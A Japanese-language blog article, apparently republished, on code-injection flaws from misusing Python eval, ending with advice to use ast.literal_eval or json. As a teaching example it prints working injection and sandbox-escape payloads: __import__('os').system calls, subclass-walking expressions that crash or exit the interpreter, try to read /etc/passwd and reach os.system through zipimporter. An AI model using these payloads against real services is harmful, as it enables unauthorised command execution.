ホームページ  >  記事  >  バックエンド開発  >  一般的なエラーのカプセル化と Python eval の利用原則の紹介

一般的なエラーのカプセル化と Python eval の利用原則の紹介

不言
不言転載
2019-03-25 10:12:112753ブラウズ

この記事では、Python eval の一般的なエラーのカプセル化と利用原則について紹介します。これには一定の参考価値があります。必要な友人は参照できます。お役に立てば幸いです。

最近、コード レビュー プロセス中に、eval の誤った使用によって引き起こされるコード インジェクションに関する多くの問題があることがわかりました。典型的な問題は、解析辞書として eval を使用することです。単純に eval を使用する場合もあれば、間違った方法で使用する場合もありますencapsulation. eval はすべての製品で使用されているため、より深刻な問題が発生します。これらは血のにじむような教訓なので、使用する場合は誰もがより注意を払う必要があります。

以下は実際の製品の例です。詳細については、[bug83055][1] を参照してください:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

クエリは POST から直接変換され、ユーザーが直接制御できます。ユーザーが url パラメーターに oper_type=__import__('os').system('sleep 5') と入力すると、sleep コマンドを実行できます。もちろん、任意のシステム コマンドや実行可能コードを実行することもできます。それは明白なので、 eval を見てみましょう。 eval は正確に何をするのか、そしてそれを安全に行うにはどうすればよいでしょうか?

1、やるべきこと

簡単に言えば、式を実行することです

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0

これら 3 つのコードのうち、最初のコードは明らかに計算に使用されます。 2 つ目は計算用です 文字列型のデータを Python に変換するデータ型、ここでは dict これも弊社製品でよくある間違いです。 3 つ目は、悪者の行動であり、システム コマンドを実行します。

eval は 3 つのパラメータ eval(source[, globals[, locals]]) -> value

globals はパス、locals はキーと値のペアである必要があります。これはデフォルトで採用されます。 システム グローバルとローカル

#2、不正なカプセル化

# (1) 製品コードの 1 つのカプセル化関数のセクションを見てみましょう。[バグ][2 を参照してください。 ]、またはネットワークで上位のランクのコードを検索します。例:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

ここでは __builtins__ が空に設定されているため、__import__ のような組み込み変数は消えています。このカプセル化された関数は安全ですか?ステップバイステップで見てみましょう:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

List items

'UnicodeEncodeError'、'UnicodeError'、'UnicodeTranslateError'、'UnicodeWarning'、'UserWarning'、'ValueError'、'Warning'、 ' ZeroDivisionError'、'_'、'debug'、'doc'、'import'、'name'、'package'、'abs'、'all'、'any'、'apply'、'basestring'、'bin ' 、 'bool'、 'buffer'、 'bytearray'、 'bytes'、 'callable'、 'chr'、 'classmethod'、 'cmp'、 'coerce'、 'compile'、 'complex'、 'copyright'、 ' クレジット'、'delattr'、'dict'、'dir'、'divmod'、'enumerate'、'eval'、'execfile'、'exit'、'file'、'filter'、'float'、'format ' 、 'frozenset'、 'getattr'、 'globals'、 'hasattr'、 'hash'、 'help'、 'hex'、 'id'、 'input'、 'int'、 'intern'、 'isinstance'、 ' issubclass'、'iter'、'len'、'license'、'list'、'locals'、'long'、'map'、'max'、'memoryview'、'min'、'next'、'object ' 、 'oct'、 'open'、 'ord'、 'pow'、 'print'、 'property'、 'quit'、 'range'、 'raw_input'、 'reduce'、 'reload'、 'repr'、 ' reversed'、'round'、'set'、'setattr'、'slice'、'sorted'、'staticmethod'、'str'、'sum'、'super'、'tuple'、'type'、'unichr ' , 'unicode', 'vars', 'xrange', 'zip']

__builtins__ から、そのモジュールに __import__ があり、OS の一部の操作を実行するために使用できることがわかります。空に設定して eval 関数を実行すると、結果は次のようになります:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name &#39;__import__&#39; is not defined

今度は、__import__ が未定義のため正常に実行できないというメッセージが表示されます。安全ですか?答えはもちろん間違っています。

たとえば、実行は次のとおりです:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {&#39;__builtins__&#39;:{}})
Segmentation fault (core dumped)

ここでユーザーが関数を定義し、この関数の呼び出しによって直接セグメンテーション違反が発生します

次のコードは終了します。インタプリタ:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{&#39;__builtins__&#39;:{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

プロセス全体について予備的に理解しましょう:

>>> ().__class__.__bases__[0].__subclasses__()
[<type &#39;type&#39;>, <type &#39;weakref&#39;>, <type &#39;weakcallableproxy&#39;>, <type &#39;weakproxy&#39;>, <type &#39;int&#39;>, <type &#39;basestring&#39;>, <type &#39;bytearray&#39;>, <type &#39;list&#39;>, <type &#39;NoneType&#39;>, <type &#39;NotImplementedType&#39;>, <type &#39;traceback&#39;>, <type &#39;super&#39;>, <type &#39;xrange&#39;>, <type &#39;dict&#39;>, <type &#39;set&#39;>, <type &#39;slice&#39;>, <type &#39;staticmethod&#39;>, <type &#39;complex&#39;>, <type &#39;float&#39;>, <type &#39;buffer&#39;>, <type &#39;long&#39;>, <type &#39;frozenset&#39;>, <type &#39;property&#39;>, <type &#39;memoryview&#39;>, <type &#39;tuple&#39;>, <type &#39;enumerate&#39;>, <type &#39;reversed&#39;>, <type &#39;code&#39;>, <type &#39;frame&#39;>, <type &#39;builtin_function_or_method&#39;>, <type &#39;instancemethod&#39;>, <type &#39;function&#39;>, <type &#39;classobj&#39;>, <type &#39;dictproxy&#39;>, <type &#39;generator&#39;>, <type &#39;getset_descriptor&#39;>, <type &#39;wrapper_descriptor&#39;>, <type &#39;instance&#39;>, <type &#39;ellipsis&#39;>, <type &#39;member_descriptor&#39;>, <type &#39;file&#39;>, <type &#39;sys.long_info&#39;>, <type &#39;sys.float_info&#39;>, <type &#39;EncodingMap&#39;>, <type &#39;sys.version_info&#39;>, <type &#39;sys.flags&#39;>, <type &#39;exceptions.BaseException&#39;>, <type &#39;module&#39;>, <type &#39;imp.NullImporter&#39;>, <type &#39;zipimport.zipimporter&#39;>, <type &#39;posix.stat_result&#39;>, <type &#39;posix.statvfs_result&#39;>, <class &#39;warnings.WarningMessage&#39;>, <class &#39;warnings.catch_warnings&#39;>, <class &#39;_weakrefset._IterationGuard&#39;>, <class &#39;_weakrefset.WeakSet&#39;>, <class &#39;_abcoll.Hashable&#39;>, <type &#39;classmethod&#39;>, <class &#39;_abcoll.Iterable&#39;>, <class &#39;_abcoll.Sized&#39;>, <class &#39;_abcoll.Container&#39;>, <class &#39;_abcoll.Callable&#39;>, <class &#39;site._Printer&#39;>, <class &#39;site._Helper&#39;>, <type &#39;_sre.SRE_Pattern&#39;>, <type &#39;_sre.SRE_Match&#39;>, <type &#39;_sre.SRE_Scanner&#39;>, <class &#39;site.Quitter&#39;>, <class &#39;codecs.IncrementalEncoder&#39;>, <class &#39;codecs.IncrementalDecoder&#39;>, <type &#39;Struct&#39;>, <type &#39;cStringIO.StringO&#39;>, <type &#39;cStringIO.StringI&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>]

この Python コードの意味は、タプルのクラスを見つけてから、その基本クラス (オブジェクト) を見つけることです。 、そして object を通じてそのサブクラスを見つけます。特定のサブクラスもコードの出力と同じです。これを見ると、file モジュールと zipimporter モジュールがあることがわかりますが、これらは使用できますか?まずファイルから開始します

ユーザーが次のように構築する場合:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{&#39;__builtins__&#39;:{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

この制限モードは、単に Python インタープリターのサンドボックスとして理解されます。システムを変更できないなど、一部の機能が制限されていますまたは、ファイルなどの一部のシステム関数を使用します。詳細については、「制限付き実行モード」を参照してください。今回思いついたのが zipimporter で、インポートしたモジュールが os モジュールを参照している場合は以下のコードのように使えます。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{&#39;__builtins__&#39;:{}})
Linux
0

これにより、先ほどのsafe_evalが実際に安全ではないことが検証されます。

3、

の正しい使い方 (1) ast.literal_eval

を使う (2) 文字を辞書化するだけならjson形式でも使える

この記事はここで終了しています。その他のエキサイティングなコンテンツについては、PHP 中国語 Web サイトの Python ビデオ チュートリアル 列に注目してください。

以上が一般的なエラーのカプセル化と Python eval の利用原則の紹介の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事は推酷で複製されています。侵害がある場合は、admin@php.cn までご連絡ください。